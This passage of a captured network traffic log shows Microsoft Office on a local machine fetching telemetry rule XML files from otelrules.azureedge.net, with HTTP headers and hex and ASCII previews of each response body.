2024-11-21 02:09:14 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:13 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:14 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:14 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c7391ddf-401e-0064-3568-3b54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020914Z-178bfbc474btvfdfhC1NYCa2en00000000w000000000k97w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:14 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:13 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:14 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:14 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 119e228c-001e-0046-1663-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020914Z-178bfbc474bv587zhC1NYCny5w00000000n000000000wkft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:14 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:13 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:14 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:14 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e8f84e55-c01e-0079-2269-3be51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020914Z-178bfbc474bq2pr7hC1NYCkfgg0000000120000000002kgf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:13 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:14 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 443fb44f-501e-0029-3f61-3bd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020914Z-178bfbc474bh5zbqhC1NYCkdug00000000qg00000000sah0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:16 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:16 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 9bbdf7bf-901e-0015-6e87-3bb284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020916Z-r1d97b995774zjnrhC1TEBv1ww00000009mg00000000h06y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:16 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:16 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 8945419b-e01e-0003-217d-3b0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020916Z-178bfbc474b9xljthC1NYCtw9400000000mg000000014bp5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:16 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:16 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:16 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020916Z-178bfbc474bbbqrhhC1NYCvw7400000000x000000000wkcr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:16 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:16 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:16 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:16 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: cd6c36a4-201e-000c-237c-3b79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020916Z-178bfbc474bgvl54hC1NYCsfuw00000000pg000000016dhd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:16 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:16 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:16 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:16 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 84d260c2-101e-0017-627f-3b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020916Z-1777c6cb7542p5p4hC1TEBq0980000000aa000000000x39x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:16 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:18 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:18 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:18 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 4a98b9d9-501e-008c-636d-3bcd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020918Z-178bfbc474b9fdhphC1NYCac0n00000000sg00000000dgst x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:09:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:09:18 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:09:19 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:18 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020918Z-r1d97b99577n4dznhC1TEBc1qw00000009v000000000278u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:09:19 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
